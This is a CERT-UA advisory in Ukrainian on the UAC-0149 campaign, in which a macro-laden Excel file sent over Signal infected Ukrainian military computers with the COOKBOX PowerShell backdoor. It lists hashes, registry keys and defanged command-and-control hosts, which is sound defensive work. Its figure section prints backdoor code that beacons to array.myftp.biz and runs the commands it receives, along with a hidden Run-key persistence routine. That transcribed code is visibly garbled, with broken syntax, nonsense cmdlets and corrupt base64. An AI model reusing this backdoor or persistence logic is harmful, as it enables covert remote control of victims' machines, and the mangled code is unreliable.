

CERT-UA

Archived: 2026-04-05 15:10:10 UTC

Загальна інформація

Урядовою командою реагування на комп'ютерні надзвичайні події України CERT-UA у взаємодії з Центром кібернетичної безпеки інформаційно-телекомунікаційних систем військової частини А0334 (ЦКБ ІТС в/ч А0334) вжито заходів з дослідження цілеспрямованої кібератаки, що полягала у спробі ураження шкідливим програмним забезпеченням ЕОМ представників Сил оборони України.

Так, 22.02.2024 невстановленою особою за допомогою месенджера Signal серед декількох військовослужбовців розповсюджено XLS-документ "1_ф_5.39-2024.xlsm" з повідомленням про, нібито, проблеми з формуванням звітності. Окрім легітимного макросу, згаданий документ містив додатковий програмний VBA-код, який забезпечував запуск PowerShell-команди, призначеної для завантаження, декодування та виконання PowerShell-сценарію "mob2002.data".

Завантажений з Github PowerShell-скрипт здійснює модифікацію реєстру операційної системи, зокрема:

- запис основного пейлоаду в base64-кодованому вигляді в гілку "HKEY_CURRENT_USER\SOFTWARE\Microsoft\XboxCache" (значення: "db1".."db27")
- запис декодера-лаунчеру в base64-кодованому вигляді в гілку "HKEY_CURRENT_USER\SOFTWARE \Microsoft\XboxCache" (значення: "db")
- створення ключа 'xbox' в гілці автозапуску 'Run' зі значенням у вигляді PowerShell-команди "cmd /c start /min "" powershell -windowStyle hidden -c(powershell -windowStyle hidden -enC(gpv -Name 'db' - Path 'HKCU:\SOFTWARE\Microsoft\XboxCache'))", що призначена для запуску декодера, який забезпечить виконання основного пейлоаду

Зазначений вище основний пейлоад, після декодування, містить черговий PowerShell-скрипт, який здійснить GZIP-декомпресію та запуск шкідливої програми COOKBOX.

COOKBOX - PowerShell-сценарій, що реалізує функціонал завантаження та виконання PowerShell-командлетів. Для кожної ураженої ЕОМ обчислюється унікальний ідентифікатор з використанням криптографічних перетворень (хеш-функцій SHA256/MD5) на основі комбінації значень імені комп'ютера та серійного номеру диску, який, під час взаємодії з сервером управління, передається в заголовку "X-Cookie" HTTP-запитів. Персистентність бекдору забезпечується відповідним ключем в гілці Run реєстру операційної системи (ОС), який створюється на етапі первинного ураження стороннім PowerShell-скриптом (в т.ч., COOKBOX deployer'ом). Зазвичай, в програмному коді використовуються елементи обфускації: chr-кодування символів, заміна символів (replace()), base64-перетворення, GZIP-компресія.

Для функціонування інфраструктури серверів управління використовуються сервіси динамічного DNS (наприклад, gotdns.ch, myftp.biz) та Cloudflare Workers.

Описана активність здійснюється, щонайменше, з осені 2023 року, має точковий характер та відстежується за ідентифікатором UAC-0149.

З огляду на типовість тактик, технік та процедур, успішна реалізація описаної загрози можлива у відношенні тих ЕОМ, на яких системними адміністраторами (адміністраторами безпеки) ще й досі не налаштовано елементарні безпекові політики, зокрема, блокування спроб запуску утиліт cmd.exe, powershell.exe, mshta.exe, w(c)script.exe, hh.exe та інших як в цілому, так і за умови, якщо батьківським є процес однієї з програм Microsoft Office (наприклад, EXCEL.EXE).

Зауважимо, що в одному з випадків ураженню ЕОМ вдалося запобігти завдяки завчасно інсталюваній типовій для ЗСУ технології захисту (EDR), про необхідність невідкладного встановлення якої було неодноразово наголошено CERT-UA.

Найбільш актуальна та вичерпна інформація щодо порядку захисту ІКС Сил оборони України, в т.ч, стосовно згаданих технологій, може бути отримана в ЦКБ ІТС в/ч А0334.

Індикатори кіберзагроз

Файли:

```
9654451a766b27fb9e678d47094d7dd7 894cd78af8e3ccf3bd19515bb2b60434012fcdaad896d9fde9d49eaa98866eef
32091993b1a864ec259429880d4c2809 5b2cbeec241ea3ce083e2adab5878f8ea982084f9a7674714cd4627f118c182d
0ff0c9228a98dd55a4ab51ade7bfe10e 9309c2833242182b592d253fcb19c15c625425f614bdd614d1ffbb54f5c25f9a
df167cd8a13e75585c5aecb6e57a4326 d80526421527f63d3b7fdf60b980b31871526c905f9d6d0f4f3c1073b42773ba
3d33bcef89039dba97ef243cc193d8a7 1f2057b60a31708fb397c6b27539d8643ae0e8d87cb26cb0256411da14d98c67
f4efa1840c2fb39ebf8d6b1325617b3c 383023689bb2af75da5337ae864dd430086e2d7d7855a65b25f7682c344e082b
a32eebda67c5de1402b539e4ae51a37b e3b916c2bd7c09a9ecb3737be615b8f4560f1bde495506e3ff67b839a65054b9
6854d326b3756b92708b5658b2a3313a f0b356b8485b2656da8ae4ecd13b64166da3c446bc0be124aad216b8688aa618
5d9ab0fba328c0fb07f1ee1794c702ef fd791cae012145402c8fb903f9e29a91f56cd1c0a3e98203241701dc5f456d83
c2a31573662e0b608f8c83016490822c 3293f76da5fa85d4a2b76a0eab30f11e4d61b81e8b4ad14efffa027d8d5f8aee
52ee3c6259c5aa85ece1037f7d76fd73 7bf2288b72775b7dc4b992d17b5dcbc0d6d6a6b1a049c3ec725b1d1f299bb88a
c405568bcedad91df2ac5616395a823 c630b95cee017b3d2536074ead8278e5415a3e6ff9dc21cd88c59d5d3a11c6dc
ba1f2511fc30423bdbb183fe33f3dd0f 181210f8f9c779c26da1d9b2075bde0127302ee0e3fca38c9a83f5b1dd8e5d3b
```

Хостові:

```
HKEY_CURRENT_USER\Environment\XBoxD
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\'xbox'
HKEY_CURRENT_USER\SOFTWARE\Microsoft\XboxCache
HKEY_CURRENT_USER\SOFTWARE\Microsoft\XboxCache\'db'
cmd /c start /min "" powershell -windowStyle hidden -c(powershell -windowStyle hidden -enC(gpv -Name
C:\Windows\System32\cmd.exe /c start /min "" powershell -windowStyle hidden -c (powershell -windowSt
```

Мережеві:

```

hXXps://shorturl[.]at/uvcpv
hXXps://github[.]com/kekpeImeshek/testdatasearch/raw/main/mob2002.data
hXXps://raw.githubusercontent[.]com/kekpeImeshek/testdatasearch/main/mob2002.data
hXXp://array.myftp[.]biz
hXXp://bom02.gotdns[.]ch
hXXp://worker-test-6f41.idv64828.workers[.]dev
array.myftp[.]biz
bom02.gotdns[.]ch
worker-test-6f41.idv64828.workers[.]dev
34.199.8.144 (DDNS IP)

```

Графічні зображення

The image displays a 'Chain of infection' (ланцюг ураження) through several screenshots:

- Task Manager:** Shows a process named 'Sub Workbook (Open)' with a high CPU usage.
- Browser:** Displays a page with heavily obfuscated JavaScript code. A red box highlights a URL: `https://shorturl.at/uvCPV`.
- Wireshark:** Shows a network packet capture of a request to `https://raw.githubusercontent.com/kekpeImeshek/testdatasearch/main/mob2002.data`. A red box highlights the 'Content-Type' field, which is `text/html; charset=utf-8`.
- COOKBOX:** A section containing process details:
 - Process Create:** Shows the process was created by `cmd.exe`.
 - Image:** `C:\Windows\System32\cmd.exe`
 - CommandLine:** `"C:\Windows\System32\cmd.exe" /c start /min "" powershell -windowstyle hidden -c (powershell -windowstyle hidden -enc 'ZAVhA[...REDACTED...]JAZQpAdSA')`
 - ParentImage:** `C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE`
 - ParentCommandLine:** `"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde`

Рис.1 Ланцюг ураження

```

@echo off
set xmp8=powershell
set xmp1=-windowStyle
set xmp2=hidden

set xps2=
do {
  set $url = ("http://array.myftp.biz")
  function f0($str) {
    $result = $false
    try {
      $val = [System.Convert]::FromBase64String($str)
      if ($val.Length -gt 0) {
        $result = $true
      }
    } catch {}
    return $result
  }
  function f1() {
    $sleepval = (Get-Random -Minimum 10 -Maximum 20)
    Start-Sleep -Seconds $sleepval
    $sp = [System.Text.Encoding]::UTF8.GetString([byte[]]@(0x27))
    $url = ($url -replace '{', $sp + $env:systemdrive + $sp)
    $urlNumber = ("{get-antibody} -Query($query) -VolumeSerialNumber")
    $shasherSHA256 = ("{New-Object} ([System.Security.Cryptography.SHA256CryptoServiceProvider])")
    $shasherMD5 = ("{New-Object} ([System.Security.Cryptography.MD5CryptoServiceProvider])")
    $methodComputeHash = ($shasherSHA256.GetType().GetMethods() | Where-Object Name -eq "ComputeHash")
    $computerIdBytes = [System.Text.Encoding]::UTF8.GetBytes($computerName + " " + $urlNumber)
    $shaBytes = $methodComputeHash.Invoke($shasherSHA256, @($computerIdBytes))
    $md5Bytes = $methodComputeHash.Invoke($shasherMD5, @($shaBytes))
    $computerIdBytesMerge = @()
    for ($i = 0; $i -lt $shaBytes.Length; $i++) {
      $computerIdBytesMerge += $shaBytes[$i]
    }
    for ($i = 0; $i -lt $md5Bytes.Length; $i++) {
      $computerIdBytesMerge += $md5Bytes[$i]
    }
    $computerId = [System.Convert]::ToBase64String($computerIdBytesMerge)
    $superagent = "Mozilla/5.0 (Windows NT 10.0; rv:56.0) Gecko/20100801 Firefox/116.0"
    while ($true) {
      do {
        try {
          $webClient = ("{New-Object} ([System.Net.WebClient])")
          $webClient.Headers["User-Agent"] = $superagent
          $webClient.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.5")
          $webClient.Headers.Add("Accept-Language", "en-US;q=0.5,ru;q=0.3")
          $webClient.Headers.Add("Upgrade-Insecure-Requests", 1)
          $webClient.Headers.Add("Cookie", $computerId)
          $webClient.Headers.Add("Cookie", ("{where-Object} Name -eq ('downloadString')[0]"))
          $resp = $webClient.Download($url)
          $webClient.Dispose()
          $webClient = $null
          if (($resp -or ($resp.Length -eq 0)) {
            break
          })
          $process = ("powershell")
          $cmdType = ""
          if ($?($resp)) {
            $cmdType = "encl"
          }
          .-Start-Process- WindowStyle Hidden -FilePath $processName -ArgumentList $cmdType, $resp
        } catch {
          if ($?) {
            $webClient.Dispose()
            $webClient = $null
          }
        }
      } while ($false)
      [System.GC]::Collect()
      $sleepval = (Get-Random -Minimum 10 -Maximum 20)
      Start-Sleep -Seconds $sleepval
    }
    return 0
  }
  $sr = f1
  Write-Output("0b25fc: " + $sr)
  while ($false) {
    cmd /c start /min "" %xmp8% %xmp1% %xmp2% -c (%xmp8% %xmp1% %xmp2% -encl (%env:xps3))
  }
}
}

MDAAMAdgBkQAR-ACGAO
ACBANADADDQAKQAFAC
AAADQMAAAdCsAKAA
BAMQAWdKAKQARACGA
IAZAKQARACGAWwLIA
DAAKQADACSAMWB1AGG

ADACMgAdpACkAwBAG
hwADIAKQADpACSAMWB
fATWBoAGEACgBdACgA
fACGAKQATACQAWwLIA
LQAXADUAWwAdACSAKA
IDYAKQARACGADAWADA
WZADYAKQARACGADQAS
JAYOBVAFBAKAAAdEAG
ACBAMwAZADAAKQARAC
QAXADWwAdpACSAMWA
IEAMwAdpACSAMWADIA
fAGEADABJAGAwB9A
WwBoACKARACGAPJA
IDSAUwB0AGEACgBdAC
fBpAGwAZQAAOCgAZhB

AYWBoAGEACgBdACgAK
fASyWBoAGEACgBdAC
fAGpACkAwBdACgMAAB
fAMwB1AGGAYOBVAFBA
fATQAYWwBvAG4ADABLA
fHWADpAdfSAUwB5AMH
fBwAHQALpBAGBQwBd
fAMwAKAGXAXQATAGAZ
fAPMADABvAC4ATABLAG
fQAAQAZgBwAHfAZhB
fGALQAZADYANAAdpACS
fAACBAMwAdIAKQARAC
fKAAACBQADvADAEAK
fDUANwAdpACSAMWAD
fBLAGUAdpACgATgBh
fAKAAADYADvAdpACSAM
fACgAKAAADpAQOAGAC
fQAAACgALQAZADIANQ
fGALQAAAdgMAAdpACS

IAQCgALQAZADpAQAP
XQAAACgALQAZADpAQ
fCgAKAAADpMAAdpAC
fANAFMADvAGkAGBdN
fAKAAAGKAAIAACAGwAd
fHGAZAZANACAKQARAD
fBZADpAdABAAHAdgB
fQAKQATACAKABACMA
fADgMwAdpCKAwBdJA
fKAAVAdgNQAAAdCKK
fCGANQAAAdgAKQAPdCS
fAADgMwAdpCKAwBdJA
fWwAdpACgBdACgAZQ

AFSAyWBoA
fBfADBAKA
fSAwB1AGG
fAFSAyWBo
fBnAFBAQXA
fMwBoAGEA
fAGAdpBUA
fQATfAHBACg
fAcwBDADE
fACBAMAA1
fKAAACBAM
fCBAMAAAD
fADAYAKQA
fAJABMAGEA
fACgAKAAIA
fBdACAKKA
fGALQAZAD
fSADQKQAR

fXQAAACgAL
fFBAKAAAd
fBdCgAKKA
fAdgBQCEA
fACAKwARA
fAAUACIAIA
fIAZAAAFI
fSADpEAMQAD
fKABdKJAN
fCSAKAAAd
fAAQDQMQA
fAAQDQMQA
fAAQDQMQA
fAACgBpA

COOKBOX
(deployer)
$psScript = $env:xps2
$regValueName = ("Box0")
$regValueAutoRunName = ("BoxCache")
function f0($fargs) {
  $content = $fargs[0]
  $chunkSize = $fargs[1]
  $chunkList = [System.Collections.Generic.List[string]]::new()
  $tmpStr = [System.Collections.Generic.List[Char]]::new()
  $contentChars = $content.ToCharArray()
  for ($i = 0; $i -lt $contentChars.Length; $i++) {
    $tmpStr += $contentChars[$i]
    if ($tmpStr.Length -eq $chunkSize) {
      $chunkList.Add($tmpStr)
      $tmpStr = ""
    }
  }
  return $chunkList.ToArray()
}
function f1($fargs) {
  $regKey = $fargs[0]
  $regName = $fargs[1]
  if (Get-Member -InputObject(("{Get-ItemProperty"} -Path $regKey) -Name $regName) {
    return $true
  }
  return $false
}
function f2() {
  $regPath = ("HKCU\Environment")
  $regAutoRunPath = ("HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
  $regItemNamePrefix = $regValueName
  $regItemNameAutoRun = $regValueAutoRunName
  $psRunCmd = ("powershell -windowStyle hidden")
  $chunkSize = 2039
  [string[]]$chunks = f0($psScript, $chunkSize)
  for ($i = 0; $i -lt 2048; $i++) {
    $valName = ($regItemNamePrefix + $i.ToString())
    if ($i % 2048 -eq 0) {
      try {
        ("{Remove-ItemProperty"} -Name ($regItemNamePrefix + $i.ToString()) -Path $regPath)
      } catch {
        break
      }
    } else {
      break
    }
  }
  $autoRunCommand = ""
  for ($i = 0; $i -lt $chunks.Length; $i++) {
    $name = $regItemNamePrefix + ($i + 1).ToString()
    ("{New-ItemProperty"} -Name $name -PropertyType 'String' -Value $chunks[$i] -Path $regPath)
    $autoRunCommand += ("{")
    if ($i -lt $chunks.Length - 1) {
      $autoRunCommand += ";"
    }
  }
  $autoRunCommand = ("{" + $autoRunCommand + "}")
  $startLateRecord = "cmd /c start /min "" %xmp8% %xmp1% %xmp2% -c (%xmp8% %xmp1% %xmp2% -encl (%env:xxxxxxx))"
  $autoRunRecord = $startLateRecord.Replace("({", ($env:xxxxxxx))
  $autoRunCommand = ("{New-ItemProperty"} -Name $regItemNameAutoRun -PropertyType 'String' -Value $autoRunRecord -Path $regAutoRunPath -Force)
  return 0
}
$sr = f2
Write-Output("0b35fc: " + $sr)
while ($false) {
}

```

Рис.2 Приклад VAT-скрипта, що призначений для запуску COOKBOX

Source: https://cert.gov.ua/article/6277849